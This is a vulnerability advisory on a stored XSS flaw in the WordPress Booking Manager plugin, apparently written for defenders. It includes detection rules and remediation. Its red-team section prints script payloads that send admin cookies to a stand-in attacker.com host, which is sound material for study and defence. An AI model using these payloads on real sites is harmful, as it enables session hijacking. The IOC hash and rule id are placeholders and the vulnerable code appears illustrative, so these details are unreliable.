CVE-2025-64275

Executive Summary

CVE-2025-64275 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Booking Manager by Wpdevelop, affecting versions up to and including 2.1.17. This vulnerability allows an authenticated attacker with low privileges to inject malicious scripts into web pages generated by the plugin. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch is available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for sites using this plugin.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a low-privileged account (e.g., subscriber).
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS makes it persistent and dangerous for site administrators.

Deep Dive & Mechanics

The vulnerability exists in the Booking Manager plugin's handling of booking form fields. When a user submits a booking request, the plugin stores the input data (e.g., name, email, custom fields) in the WordPress database without proper sanitization or output encoding. When an administrator views the booking details in the admin dashboard, the stored data is rendered as HTML, allowing the injected script to execute.

Root Cause: The plugin uses functions like echo $data or the_content without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Attack Flow:

1. Attacker registers as a low-privileged user (e.g., subscriber).
2. Attacker submits a booking request with malicious JavaScript in a form field (e.g., <script>alert('XSS')</script>).
3. The plugin stores the malicious input in the database.
4. Administrator navigates to the Booking Manager admin page to review bookings.
5. The stored script executes in the administrator's browser, potentially stealing cookies or performing actions on behalf of the admin.

Vulnerable vs. Patched Code

Vulnerable Code (Booking Manager <= 2.1.17):

// In a file like booking-manager/admin/class-booking-manager-admin.php
function display_booking_details($booking_id) {
    $booking = get_post($booking_id);
    echo '<div class="booking-details">';
    echo '<p>Name: ' . $booking->post_title . '</p>'; // Unsafe
    echo '<p>Email: ' . get_post_meta($booking_id, '_email', true) . '</p>'; // Unsafe
    echo '</div>';
}

Patched Code (Hypothetical):

function display_booking_details($booking_id) {
    $booking = get_post($booking_id);
    echo '<div class="booking-details">';
    echo '<p>Name: ' . esc_html($booking->post_title) . '</p>'; // Safe
    echo '<p>Email: ' . esc_html(get_post_meta($booking_id, '_email', true)) . '</p>'; // Safe
    echo '</div>';
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with Booking Manager plugin <= 2.1.17.
• Low-privileged user account (e.g., subscriber).

Exploitation Steps:

1. Log in as a low-privileged user.
2. Navigate to the booking form (e.g., /booking-form/).
3. In a text field (e.g., "Name"), inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the booking details in the admin panel.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team

Detection:

• Monitor for unusual booking submissions containing script tags or event handlers.
• Review WordPress database for suspicious entries in wp_posts and wp_postmeta tables.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hunting Query (SQL):

SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onload%' OR meta_value LIKE '%onerror%';

Log Analysis:

• Look for HTTP requests to /wp-admin/admin.php?page=booking-manager with unusual parameters.
• Check for outbound connections to unknown domains from the WordPress server.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • booking-manager.php (v2.1.17): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing document.cookie in the body.
• Database Indicators:
  • Entries in wp_postmeta with meta_value containing <script> tags.
  • Unusual booking entries with HTML/JavaScript in text fields.

Detection Engineering

YARA Rule

rule CVE_2025_64275_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Booking Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64275"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Booking Manager Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts in Booking Manager plugin submissions
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=booking_manager_submit'
        cs-uri-query|contains|re: '(<script|on\w+=|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in booking fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64275 Stored XSS in Booking Manager"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=booking_manager_submit"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
3. Restrict user roles – Only allow trusted users to submit bookings.
4. Sanitize input – Use WordPress functions like sanitize_text_field() and wp_kses_post() on all booking fields.

Long-Term Fix:

• Apply output escaping using esc_html(), esc_attr(), or wp_kses_post() in all plugin templates.
• Monitor the vendor's website for an official patch.
• Consider switching to an alternative booking plugin if no patch is released.

Workaround:

• Add the following code to your theme's functions.php to sanitize booking data:

add_filter('booking_manager_save_booking', 'sanitize_booking_data');
function sanitize_booking_data($data) {
    foreach ($data as $key => $value) {
        $data[$key] = sanitize_text_field($value);
    }
    return $data;
}

Valters IT
Securing Digital Frontiers